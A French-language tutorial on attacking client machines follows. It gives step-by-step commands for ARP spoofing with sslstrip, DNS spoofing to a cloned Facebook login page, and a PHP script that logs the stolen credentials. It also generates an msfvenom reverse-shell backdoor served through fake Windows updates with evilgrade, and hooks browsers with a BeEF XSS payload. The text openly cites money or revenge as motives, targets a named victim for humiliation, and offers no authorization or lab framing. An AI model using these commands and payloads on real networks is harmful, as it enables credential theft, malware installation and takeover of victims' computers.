Vous êtes sur la page 1sur 13

Les attaques clientes

Mode d'emploi

Par Steeve ASENSI


Passionné par la sécurité de l'information & les nouvelles technologies.
Pré-requis

La suite Kali Linux


Un logiciel de virtualisation
Une image ISO Windows
Des connaissances en TCP/IP
Sommaire

Présentation du modèle client/serveur


Introduction aux attaques clientes
Les techniques d'exploitations MITM
Techniques avancées d'exploitations MITM
Pour aller plus loin
Présentation du fonctionnement client/serveur

Le fonctionnement du système client/serveur est simple à comprendre :

• Le client va demander au serveur un service.


• Le serveur va fournir sur demande du client le service désirer.

Introduction aux attaques clientes

Les attaques côtés client sont bien différentes des attaques de serveurs.
En effet, pour les serveurs nous utilisons des vulnérabilités liés aux services accessibles pour
prendre le contrôle, mais dans le cas de clients, il n'y à pas de services accessibles ou très peu, les
attaques sont alors orientés vers le social engineering, le phishing, sniffing, poisonning & spoofing
qui sont des techniques dite passives, puisqu'elles requiert une action de la part de la victime, ce
sont généralement des attaques fonctionnant localement.
Pour attaquer une machine cliente il va falloir procéder par étapes :

➔ Connaître vos besoins


➔ Déterminer le périmètre
➔ Identifier le contexte
➔ Créer & évaluer des scénarios
➔ Attaquer la cible
➔ Effacer vos traces
Connaître vos besoins
Vous devez établir & positionner vos besoins avant de vous lancer dans quelconques tentatives
d'intrusions.
Pourquoi cette attaque ? Besoin d'argent, une vengeance ? Un besoin de se sentir exister ?
Bref, vous l'aurez compris, il faut que vous sachiez exactement ce que vous attendez d'une telle
opération.

Déterminer le périmètre de l'attaque


Il s'agira de savoir si vous ciblé une personne en particulier ou bien au contraire si vos attaques ne
sont pas ciblés et doivent touché un maximum de monde.

Identifier le contexte de l'attaque


Où, quand, comment, avec quelles moyens aller vous opérer, telles sont les questions essentiels que
vous devez vous poser avant de commencer, la réussite de l'oppération tout entière en dépend.
De plus le contexte modifie aussi l'attaque, par exemple si vous décidez d'infiltrer une société
comme Apple, la méthodologie que vous devrez employé sera bien différente de celle que vous
utiliserez pour attaquer les clients d'un fast-food. Donc vous ne pouvez pas envisager d'attaquer l'un
ou l'autre avec les mêmes armes, identifier le contexte est essentiel.

Les techniques d'exploitations MITM


L'abréviation MITM signifie Man In The Middle, soit en traduction française : L'homme du milieu.
C'est exactement le rôle que vous aller jouer tout eu long des attaques clientes. Votre machine
deviendra un routeur & vous serez placer au cœur du trafic, vous pourrez intéragir avec les paquets
entrant & sortants de tous les clients sur ce même réseau.
Pour y parvenir, il vous faut comprendre le rôle de certaines technologies, telle que le DNS, l'ARP
& les adresses MAC.
Voici rapidement leurs fonctions :
DNS : Permet d'associer des noms à des adresses IP
Par exemple : google.com ==> 212.125.20.15
ARP : Permet d'associer une adresse IP à une adresse MAC
Adresse MAC : Permet d'identifier de manière unique un équipement réseau.
Par exemple, l'adresse MAC d'un équipement apple : d4:9a:20:6c:2a:13

Bien, maintenant nous pouvons passer aux techniques à proprement parler.


Parmis les plus courantes l'on peut nommer :
➢ Le sniffing
➢ Le spoofing
➢ Le phishing
➢ Le Poisoning
Le sniffing

Explications : La technique du sniffing, permet d'intercepter des communication qui ne nous sont
pas destinées sur un réseau. Cette technique très simple à mettre en œuvre est largement utiliser
par les pirates pour récupérer des informations confidentielles telles que des numéros CB,
identifiants de comptes, contenus de mails, conversations instantanées, etc …

Voici les étapes nécessaire à la mise en place d'un système d'écoute performant capable d'intercepter
les communications chiffré & non chiffré :
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Activer la redirection du trafic en provenance du port 80 (web) vers le port 8080 (proxy)
➢ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4/ Réaliser un scan ARP du réseau afin de découvrir les adresses IP qui y sont présentes & retenez
celle de votre victime, ainsi que de la passerelle.
➢ netdiscover -i <votre_interface>
5/ Utiliser l'outil arpspoof afin d'usurper l'identité de votre victime en empoisonnant les paquets
ARP sur le réseau & ainsi recevoir les paquets destinés à la victime.
➢ arpspoof -i <votre_interface> -t <ip_victime> -r <ip_passerelle>
6/ Dans un nouveau terminal, utiliser sslstrip afin de déchiffrer le trafic en provenance du web
destiné à votre victime & de le conserver dans un fichier log.
➢ sslstrip -l 8080
Le spoofing ou phishing

Explications : La technique du spoofing ou phishing, permet d'usurper l'identité d'un thiers afin de
bénéficier de ces priviléges ou pour tromper la confiance de ces contacts. C'est une technique
facile à mettre en œuvre, la plus courante étant le spoofing de DNS qui consiste à associer un nom
de domaine à une adresse IP choisi par le pirate.

Par exemple :
www.google.com ==> 86.34.212.57 (adresse pirate)
Voici les étapes nécessaire à la mise en place d'un système d'usurpation performant, permettant la
redirection d'une ou plusieurs victimes vers l'adresse choisi par le pirate.

Scénario :
M.Dupont bénéficiant de l'adresse IP local 192.168.1.13 est actuellement connecté à travers
internet à son compte facebook pour raconter sa journée passionnante à ces milliers d'amis qu'il n'à
jamais vu.
Le pirate, (vous), bénéficiant de l'adresse IP 192.168.1.17 voulez jouer un mauvais tour à
M.dupont (la victime) en modifiant son profil de manière à l'humilier. Pour cela vous avez besoin
de ses identifiants de connexion, il vous viens alors l'idée de rediriger M.Dupont vers une page de
connexion facebook parfaitement ressemblante à l'originale qui va lui voler ses identifiants.
Voici les étapes nécessaire à la reussite de l'opération :
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Télécharger la page légitime de connexion facebook & placer la dans votre repertoire web
/var/www/facebook_phishing sous le nom login.php.
➢ wget -U firefox https://facebook.com/login.php -O /var/www/facebook_phishing/login.php
4/ Modifier la manière dont les identifiants sont transmis à facebook pour valider l'authentification,
de telle sorte que les identifiants soit transmis à une page nommé connexion.php situé dans le même
répertoire (/var/www/facebook_phishing/connexion.php
➢ sed -i -e "s#/login.php?login_attempt=1#connexion.php#g"
/var/www/facebook_phishing/login.php
5/ Créer la page connexion.php dans le repertoire /var/www/facebook_phishing/ qui doit contenir le
script de récupération des identifiants :
<?php
header ('Location: http://www.facebook.com');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}fwrite($handle, "rn");
fclose($handle);
exit;
?>
6/ Créer une page dans le repertoire /var/www nommé index.html :
<html>
<head>
<title>Connexion Facebook ...</title>
<meta http-equiv="refresh" content="1;
URL=http://votre_adresseip/facebook_phishing/login.php">
</head>
<body>
<img src="facebook_phishing/error.jpg" alt="erreur" />
</body>
</html>

En clair : Nous avons créer une page index.html permettant la redirection de la victime vers la
fausse page de connexion facebook nommé login.php qui va récupérer les identifiants & les
envoyer à la page connexion.php qui va les stockés dans un fichier nommé log.txt.

7/ Démarrer le serveur web Apache.


➢ service apache2 start
8/ Nous allons utiliser dnsspoof pour rediriger M.Dupont vers notre fausse page de connexion
facebook quand celui-ci tentera de se connecter au site original. Pour cela créer un fichier nommé
hosts.txt que vous devrez remplir comme ceci :
➢ votre_adresse_ip le_nom_d'hote
Par exemple :
➢ 192.168.1.17 facebook.com
➢ 192.168.1.17 *.facebook.com
Maintenant vous pouvez utiliser dnsspoof en y indiquant votre fichier hosts.txt contenant les bonnes
valeurs.
➢ Dnsspoof -i <votre_interface> -f hosts.txt
Conclusion : Il n'y a plus qu'à attendre que M.Dupont saisisse ses identifiants pour les voir
apparaître dans le fichier log.txt
Techniques avancées d'exploitation MITM

Super, vous venez de découvrir les fondements des principales attaques MITM, vous êtes déjà en
mesure de réaliser de nombreuses attaques, mais que diriez vous d'aller ecore plus loin ?
Si je vous disais qu'il est possible de combiné plusieurs de ces techniques pour en créer des
nouvelles plus sophistiqués & beaucoup plus puissantes, seriez vous intérrésser ?
Je suppose que oui, alors c'est parti !

Compromission d'un client via spoofing & metasploit

Ok, pour cette première technique avancée, je vous propose de compromettre une machine cliente
en usant du spoofing & d'un module de metasploit particulierement pratique, nommé
browser_autopwn.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Souvenez vous de la page index.html placer dans votre repertoire /var/www/ c'est le moment de
s'en servir encore une fois. Ouvrer celle-ci est modifier le code source comme ceci :
<html>
<head>
<title>Connexion Facebook ...</title>
<meta http-equiv="refresh" content="10; URL=http://192.168.1.17:666/security_update">
</head>
<body>
<img src="facebook_phishing/error.jpg" alt="erreur" />
</body>
</html>

Explications : Nous allons adapter l'url au module de metasploit qui fonctionnera en écoute sur le
port 666 à l'adresse /security_update, afin de rendre le tout plus discret.

4/ Démarrer le service web apache dans un terminal :


➢ service apache2 start
5/ Demmarer msfconsole dans un terminal et rechercher le module nommé browser_autopwn :
➢ Kali Linux/ Services /Metasploit/ Community pro start
➢ terminal > msfconsole
➢ search browser_autopwn
6/ Sélectionner, configurer & démarrer ce module :
➢ use auxiliary/server/browser_autopwn
➢ show options
➢ set LHOST <votre_adresseIP>
➢ set SRVPORT 666
➢ set URIPATH /security_update
➢ run
7/ Maintenant en parallèle démarrer le spoofing DNS, afin de rediriger la victime vers notre page
d'accueil 'index.html' qui se chargera elle-même d'envoyer la victime à son insu vers notre module
métasploit en utilisant dnsspoof :
dnsspoof -i <interface> -f <fichier_hosts>
Rappel : Comme nous l'aviions vu plus tôt, il est nécessaire de fournir à dnsspoof un fichier avec
les concordances entre IP & noms de domaine.

8/ Patientez le temps que la victime tente d'acceder à la page légitime de facebook, pour que celle-ci
soit rediriger vers notre module metasploit.
Remarque : Dés que se sera le cas, vous verrez dans la fenêtre du module, défilé tous un tas
d'attaques contre le navigateur du client, jusqu'à ce qu'une vulnérabilité soit exploiter & vous
donne la main sur le système de la victime.
Compromission par simulation de fausses mises à jour

Pour cette deuxième technique avancée, nous allons nous servir de la suite evilgrade, qui permet de
simuler à la perfection de fausses mises à jour à télécharger par la victime qui sont en réalité infecté
par un backdoor que nous aurons pris soin de générer avec metasploit par exemple. Restera plus
qu'à rediriger la victime vers la fausse page de mise à jour & le tour est jouer.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Nous allons générer un backdoor pour windows avec msfvenom :
➢ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<votreIP> LPORT=4444 -f exe
-o /root/Desktop/backdoor.exe
4/ Nous lançons evilgrade dans un terminal & nous configurons le module winupdate :
➢ evilgrade
➢ show modules
➢ configure winupdate
➢ set agent '[''<%OUT%>/root/Desktop/backdoor.exe<%OUT%> '']'
Remarque : la commande 'set agent' nous permet de sélectionner notre backdoor generer avec
metasploit.

5/ Nous allons spoofer les requêtes DNS sur le réseau locale avec dnsspoof comme nous l'aviions
vu précédemment, sauf que cette fois-ci nous allons modifier les correspondances dans ce fichier à
l'aide des indications fourni dans le module winupdate de evilgrade :
#ip_pirate # domaines à usurper
192.168.1.17 windowsupdate.microsoft.com
192.168.1.17 update.microsoft.com
192.168.1.17 www.microsoft.com
192.168.1.17 go.microsoft.com

➢ dnsspoof -i <interface> -f hosts.txt


6/ Nous verifions que le service web apache soit arrêté, puis nous démarrons le module évilgrade
winupdate avec la commande start:
➢ service apache2 stop
➢ start
Conclusion : Il en nous reste plus qu'à attendre que la victime se rendent faire ses mises à jour sur
le site de microsoft pour qu'elle soit rediriger vers notre piège & prendre possession de son
système.
Compromission par injection XSS via Beef

Je vous propose ici, une manière différente & original de compromettre la machine de vos victimes
Nous allons voir comment exploiter une vulnérabilité XSS présente dans un site web de manière
ludique grâce à Beef-xss framework, afin d'hameçonner les clients d'un site vulnérable &
transformer leurs machines en zombies.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Démarrer Beef-xss & rendez vous à la page d'amnistration avec les identifiants beef/beef:
➢ /usr/share/beef
➢ http://127.0.0.1:3000/ui/panel
3/ Localiser un site web vulnérable aux injections xss :
➢ <script>alert('vulnerable')</script>
4/ Injecter le script piéger à la place :
➢ <script src=http://votre_ip:3000/hook.js></script>
exemple :
http://sitevulnerable.com/search.php?name=<script src=http://192.168.1.17:3000/hook.js></script>
Ce qui aura pour effet d'infecter le navigateur de/des victimes de manière transparente.
5/ copiez l'url piéger est masquer là avant de la transmettre à vos/votre victimes via tinyurl par
exemple.
6/ Patientez jusqu'à ce que la victime clique sur le lien que vous lui avait fourni & se fasse
contaminer.
Conclusion : Vous n'avez plus qu'à vous amuser avec les commandes de contrôle disponible
depuis l'interface web de Beef-xss.

Remarque : Dés que la victime quittera le site infecter, vous perdrez la main sur sa machine.
Pour pallier ce problème, une solution consiste à ouvrir un shell sur la machine de la victime, voir
détails ci-dessous.

Solutions palliatif :
7/ lancer msfconsole dans un terminal est charger le module browser_autopwn
8/ Configurer celui-ci en écoute de connexion entrante sur votre machine.
9/ De retour dans les commandes de contrôle de beef, rendez-vous dans misc & choisissez create
invisible Iframe.
10/ indiquer l'url du module metasploit & faites exécuter
Conclusion : La victime se connectera invisiblement au module d'exploitation & un shell sera
créer.
Pour aller plus loin

Maintenant que vous maîtrisez la plupart des techniques d'attaques MITM, pour aller plus loin, vous
pouvez tenter de les mettre en œuvre à travers Internet. Nous verrons cela dans un prochain épisode.

Vous aimerez peut-être aussi